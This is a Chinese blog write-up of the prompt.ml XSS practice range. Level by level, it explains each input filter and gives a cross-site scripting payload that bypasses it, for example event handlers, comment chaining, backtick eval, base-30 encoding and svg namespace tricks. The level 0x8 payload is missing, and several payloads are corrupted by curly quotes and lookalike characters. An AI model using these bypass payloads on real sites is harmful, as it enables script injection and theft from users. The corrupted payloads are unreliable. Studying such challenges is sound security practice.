线上靶机prompt.ml
使用的靶場網址:http://prompt.ml/0
0x0
這關沒有任何的過濾,就直接閉合輸出就行,但是后面多余的引號和尖括號需要注釋掉。
a"><!–
0x1
這一關過濾掉了以尖括號包裹著的所有字符,所以script這種標簽就用不了了。所以可以嘗試使用img標簽。
<img type=“image” src=1 οnerrοr=prompt(1)//
0x2
這一關將這**“[”“(”**兩個符號進行了過濾,所以就沒有辦法使用,可以使用反引號來代替括號。
<script>eval.call`${‘prompt\u00281)’}`</script>
0x3
這一關是將注釋符號給過濾成了下劃線,同樣也是一個小技巧,也可以使用“–!>”來進行注釋。
–!><script>prompt(1)</script><!–
0x4
這一關必須以**http://prompt.ml/**為開頭才可以進行輸入,可以使用@符號來連接外部文檔來進行繞過。注意的是,可能在寫的過程中,/可能不會被識別,換成編碼的形式就可以了。
http://prompt.ml%2f@localhost/test.js
test.js文件里面就寫一個prompt(1)就可以了。
0x5
這一關也是將>和以on開頭,=結尾的字符給換成了=號,所以利用換行就可以了。
1"type="image"src=1 onerror
=“prompt(1)”
0x6
這個例子說了,要輸入一個形狀向** http://httpbin.org/post#{“name”:“Matt”}的語句,并且這個#號將這一串分成了一個數組。然后這個fromURL取這個數組的第0位,然后formdata取數組的第一位;也就是說,如果輸入的是 http://httpbin.org/post#{“name”:“Matt”}那么數組0就是: http://httpbin.org/post**,數組1就是:{“name”:“Matt”}。然后創建了from元素,并且將URL給了fronaction,模式寫為post;然后對fromData做了循環,然后創建了一個i,并且讓input.name=i,這個i就是fromdata對象里的key值,也就是name,然后給value賦值為fromData的值,也就是Matt。以上這些步驟就相當于創建了一個from表單。然后就是查看你一個表單,并且使用action,也就是如果你這個表單里不包含script或者data的話,就輸出,如果有的話,就返回下面那一句話。
但是正產情況下使用javascript:prompt(1)的時候,他是可以輸出的,但是在這里,他沒有辦法繞過那個判斷;可以使用action來蓋住剛剛那個action,也就是如果action的值相同的時候,后一個會把前一個給覆蓋掉。所以這一關就是使用后一個action將前一個action的特性給覆蓋掉。
javascript:prompt(1)#{“action”:“aaaaa”}
0x7
這一個也給你舉例了一個輸出的格式形如dog#cat#bird#mouse…,并且這個對每一個p標簽都進行了一個字符限制,不可以超過12個字符,這樣就可以使用注釋的方式,將多余的內容給注釋掉,剩下的就可以拼湊成想要的樣子。
"><\script>/#/prompt(/#/1)/#/</script>
這里就相當于第一個注釋符注釋的是
<p class=“comment” title=“”><script>/*“></p>
<p class=“comment” title=”*/prompt(/*“></p>
<p class=“comment” title=”*/1)/*“></p>
<p class=“comment” title=”*/</script>“></p>
第二個注釋的內容是:
<p class=“comment” title=”“><script>/*”></p>
<p class=“comment” title=“*/prompt(/*“></p>
<p class=“comment” title=”*/1)/*”></p>
<p class=“comment” title=“*/</script>”></p>
第三個注釋的內容是:
<p class=“comment” title=“”><script>/*“></p>
<p class=“comment” title=”*/prompt(/*“></p>
<p class=“comment” title=”*/1)/*“></p>
<p class=“comment” title=”*/</script>"></p>
最后拼成的就是:"><script>prompt(1)</script>
0x8
這里的\r\n的意思是換到下一行的時候從開頭開始輸入。
然后這一關,將這個給過濾掉為空了。并且把
<,/ 和‘"’ 給過濾掉了。這就用到了js的一個只是點:直接輸入u2028和u2029
javascript字符串允許直接輸入字符,以及字符的轉義形式。但是javascript中有5個字符規定了不能在字符串中直接使用,只能使用他們的轉義形式
所以這個輸入就是這樣式的:
將下面的復制,粘貼到答案上就可以了。
0x9
這一關是將以<開頭并且后面接字母的都變成了<后面接一個下劃線,并且字母全部變為大寫。那就不讓<后面接字母,可以使用?轉換為s。如果出不來,換個瀏覽器試試。
<?cript src=“http://127.0.0.1/test.js”></?cript>
0xA
這一關將prompt過濾成了alert,并配還把單引號給注釋掉了,這就給我們使用了一個方便,也就是我們可以使用單引號將prompt給分開,反正單引號也會被省略。
pro’mpt(1)
0xB
這一關使用了一個小技巧,
"(prompt(1))in"使用這個可以進行彈窗。
0xC
這一關也是將單引號忽略了,然后將prompt轉為了alert,但是不同的是,這是先過濾,在替換;這樣就不可以了。
這里就可以使用一種函數,就是相當于將英文轉換為十進制樹數
eval(630038579…toString(30))(1)
parselnt:解析一個字符串并返回指定基數的十進制整數,并且進制數的范圍是2-26.
但是我們在轉換prompt的時候,在26之前是沒有數的,顯示的都是NAN,但是在26之后就有值了;這是因為他轉換是由0-9+a-z組成的,而p是字母的第16位,然后加上前面的10個字符,就等于26,所以才從第26位開始,
這里可能不好理解,就好比十六進制,他的最大的字母F,f拍在第6位,加上前面那個就是16進制
為什么這里要寫30進制,因為prompt最后一個字母是t,排在字母表的第20位置,加上前面的10個數就是30;如果使用小于30的數,就不包括了t,這樣就不完整了。
0xF
這一關同樣是給了輸出格式,并且限制了p標簽里的字符輸入最大不超過15.并且他過濾掉了上一個使用的注釋符號,但是可以使用<!-- -->注釋方式,但是我使用和第7個處理方式一樣的方法的時候,他沒有成功,各中嘗試之后,還是不成功,:
"><!–#–><script><!–#–>prompt<!–#–>(1)<!–#–></script>
但是加一個<svg>就可以了,因為在html中有三個命名空間,分別是html、svg和MathML,這三個空間可以進行轉換,因為這句話在執行剛剛那個語句的時候,他是只有第一個注釋符起了作用,其余的寫在script標簽里面的注釋符是沒有生效的,切換到svg空間是因為svg的語法規范是遵循XML語句的,而XML中是支持<!-- 這樣的編碼,所以這是需要加入一個svg標簽。
"><svg><!–#–><script><!–#–>prompt<!–#–>(1)<!–#–></script>
所以嘗試了模板字符串的方式,結果成了
"><script>`${prompt(1)}`</script>
總結
以上是生活随笔為你收集整理的线上靶机prompt.ml的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 计算机开机跳过硬盘检查,怎么跳过开机硬盘
- 下一篇: 微信小程序开发工具安装详解